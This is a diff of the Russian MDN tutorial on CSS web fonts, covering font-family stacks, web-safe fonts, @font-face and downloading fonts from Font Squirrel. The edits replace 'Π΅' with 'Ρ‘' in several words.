+<p>Как ΠΌΡ‹ рассматривали Π² <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Π€ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ стилизации тСкста ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°</a>, ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ HTML ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ свойства {{cssxref("font-family")}}. Оно ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠΌΡ‘Π½ сСмСйств ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ слСдуСт ΠΏΠΎ списку ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Ρ‚ΠΎΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся доступным Π² систСмС, ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚:</p>
<pre class="brush: css notranslate">p {
font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif;
}</pre>
-<p>Π­Ρ‚Π° систСма Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ, Π½ΠΎ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ Π²Ρ‹Π±ΠΎΡ€ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π±Ρ‹Π»Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ. БущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π³ΠΎΡ€ΡΡ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ доступными Π²ΠΎ всСх распространСнных систСмах β€” Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ <a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">БСзопасныС Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹</a>. <span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стСк ΡˆΡ€ΠΈΡ„Ρ‚Π° для указания ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²</span></span>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт Π²Π΅Π±-бСзопасныС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт систСмный ΡˆΡ€ΠΈΡ„Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, <span class="tlid-translation translation" lang="ru"><span title="">Π½ΠΎ это добавляСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния тСстирования, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваш Π΄ΠΈΠ·Π°ΠΉΠ½ выглядит Ρ…ΠΎΡ€ΠΎΡˆΠΎ с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΈΠ· ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΈ Ρ‚. Π΄.</span></span></p>
+<p>Π­Ρ‚Π° систСма Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ, Π½ΠΎ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ Π²Ρ‹Π±ΠΎΡ€ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π±Ρ‹Π»Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ. БущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π³ΠΎΡ€ΡΡ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ доступными Π²ΠΎ всСх распространённых систСмах β€” Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ <a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">БСзопасныС Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹</a>. <span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стСк ΡˆΡ€ΠΈΡ„Ρ‚Π° для указания ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²</span></span>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт Π²Π΅Π±-бСзопасныС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ слСдуСт систСмный ΡˆΡ€ΠΈΡ„Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, <span class="tlid-translation translation" lang="ru"><span title="">Π½ΠΎ это добавляСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния тСстирования, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ваш Π΄ΠΈΠ·Π°ΠΉΠ½ выглядит Ρ…ΠΎΡ€ΠΎΡˆΠΎ с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΈΠ· ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΈ Ρ‚. Π΄.</span></span></p>
<h2 id="Π’Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹">Π’Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹</h2>
-<p>Но Π΅ΡΡ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°, которая Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ начиная с 6-ΠΎΠΉ вСрсии IE. Π’Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ β€” это функция CSS ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Π°ΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡ‹Π΅ вмСстС с вашим Π²Π΅Π±-сайтом ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ доступа ΠΊ Π½Π΅ΠΌΡƒ,Β <span class="tlid-translation translation" lang="ru"><span title="">это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ любой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² своСм распоряТСнии ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅.</span></span> Π—Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ! Π’Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ синтаксис выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>Но Π΅ΡΡ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°, которая Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ начиная с 6-ΠΎΠΉ вСрсии IE. Π’Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ β€” это функция CSS ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Π°ΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡ‹Π΅ вмСстС с вашим Π²Π΅Π±-сайтом ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ доступа ΠΊ Π½Π΅ΠΌΡƒ,Β <span class="tlid-translation translation" lang="ru"><span title="">это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ любой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² своём распоряТСнии ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅.</span></span> Π—Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ! Π’Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ синтаксис выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Ρƒ вас Π΅ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ {{cssxref("@font-face")}} Π² Π½Π°Ρ‡Π°Π»Π΅ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„Π°ΠΉΠ»(-Ρ‹) ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ:</p>
@@ -69,7 +69,7 @@ original_slug: Learn/CSS/Styling_text/Π’Π΅Π±_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹
<p>ИмСя это Π² Π²ΠΈΠ΄Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ создадим Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΎΠ². <span class="tlid-translation translation" lang="ru"><span title="">Π‘Π»ΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ это Π½Π° встроСнном ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</span></span>, поэтому вмСсто, ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ слСдовали Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ шагам Π² сСкциях Π½ΠΈΠΆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ идСю процСсса</p>
-<p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> ΠΊΠ°ΠΊ ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ добавляя Π² Π½ΠΈΡ… ваш ΠΊΠΎΠ΄ (см. <a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>). БСйчас сдСлайтС копию этих Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π½ΠΎΠ²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ Ρ„Π°ΠΉΠ»Π΅ <code>web-font-start.css</code> Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ CSS для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ ΠΈ вСрсткой ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
+<p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> ΠΊΠ°ΠΊ ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ добавляя Π² Π½ΠΈΡ… ваш ΠΊΠΎΠ΄ (см. <a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>). БСйчас сдСлайтС копию этих Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π½ΠΎΠ²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’ Ρ„Π°ΠΉΠ»Π΅ <code>web-font-start.css</code> Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ CSS для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ ΠΈ вёрсткой ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
<h3 id="Поиск_ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²">Поиск ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²</h3>
@@ -81,7 +81,7 @@ original_slug: Learn/CSS/Styling_text/Π’Π΅Π±_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹
<li>БСрвис ΠΎΠ½Π»Π°ΠΉΠ½ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²: это сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт Π²Π°ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, дСлая вСсь процСсс ΠΏΡ€ΠΎΡ‰Π΅. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ€Π°Π·Π΄Π΅Π» {{anch("ИспользованиС ΠΎΠ½Π»Π°ΠΉΠ½-сСрвиса ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ²")}} для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
</ul>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°ΠΉΠ΄Π΅ΠΌ ΠΊΠ°ΠΊΠΈΠ΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹! ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠΉΡ‚Π΅ΡΡŒ Π½Π° <a href="https://www.fontsquirrel.com/">Font Squirrel</a> ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΄Π²Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° β€” симпатичный интСрСсный ΡˆΡ€ΠΈΡ„Ρ‚ для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² (ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ симпатично выглядящий ΠΈΠ»ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ с засСчками) ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ΅Π½Π΅Π΅ ΠΊΡ€ΠΈΡ‡Π°Ρ‰ΠΈΠΉ ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚ для ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠ². Когда Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ сохранитС Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, Π³Π΄Π΅ Ρ€Π°Π½Π΅Π΅ Π²Ρ‹ сохранили Ρ„Π°ΠΉΠ»Ρ‹ HTML ΠΈ CSS. НС ΠΈΠΌΠ΅Π΅Ρ‚ значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΈ ΠΎΠ½ΠΈ TTF (True Type Fonts) ΠΈΠ»ΠΈ OTF (Open Type Fonts).</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°ΠΉΠ΄Ρ‘ΠΌ ΠΊΠ°ΠΊΠΈΠ΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹! ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠΉΡ‚Π΅ΡΡŒ Π½Π° <a href="https://www.fontsquirrel.com/">Font Squirrel</a> ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΄Π²Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° β€” симпатичный интСрСсный ΡˆΡ€ΠΈΡ„Ρ‚ для Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² (ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ симпатично выглядящий ΠΈΠ»ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ с засСчками) ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ΅Π½Π΅Π΅ ΠΊΡ€ΠΈΡ‡Π°Ρ‰ΠΈΠΉ ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚ для ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠ². Когда Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ сохранитС Ρ„Π°ΠΉΠ»Ρ‹ Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, Π³Π΄Π΅ Ρ€Π°Π½Π΅Π΅ Π²Ρ‹ сохранили Ρ„Π°ΠΉΠ»Ρ‹ HTML ΠΈ CSS. НС ΠΈΠΌΠ΅Π΅Ρ‚ значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΈ ΠΎΠ½ΠΈ TTF (True Type Fonts) ΠΈΠ»ΠΈ OTF (Open Type Fonts).</p>
<p>Π’ любом случаС распакуйтС Π°Ρ€Ρ…ΠΈΠ² со ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ (Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π² ZIP Ρ„Π°ΠΉΠ»Π°Ρ…, содСрТащих Ρ„Π°ΠΉΠ»(-Ρ‹) ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ² ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π² ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠ΅ (Π°Ρ€Ρ…ΠΈΠ²Π΅) β€” Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ сСмСйство с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ доступными Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ½ΠΊΠΈΠΉ, срСдний, ΠΆΠΈΡ€Π½Ρ‹ΠΉ, курсив, Ρ‚ΠΎΠ½ΠΊΠΈΠΉ курсив ΠΈ Ρ‚.Π΄. <span class="tlid-translation translation" lang="ru"><span title="">Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ просто Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΠΎΠ·Π°Π±ΠΎΡ‚ΠΈΠ»ΠΈΡΡŒ ΠΎ Π΅Π΄ΠΈΠ½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°.</span></span></p>
@@ -116,7 +116,7 @@ original_slug: Learn/CSS/Styling_text/Π’Π΅Π±_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹
<p>Для внСдрСния ΠΈΡ… Π² вашС Π΄Π΅ΠΌΠΎ слСдуйтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагам:</p>
<ol>
- <li>ΠŸΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ Ρ€Π°ΡΠΏΠ°ΠΊΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ Π½Π° Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π»Π΅Π³ΠΊΠΎΠ΅ ΠΈ простоС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>fonts</code>.</li>
+ <li>ΠŸΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ Ρ€Π°ΡΠΏΠ°ΠΊΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ Π½Π° Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π»Ρ‘Π³ΠΊΠΎΠ΅ ΠΈ простоС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>fonts</code>.</li>
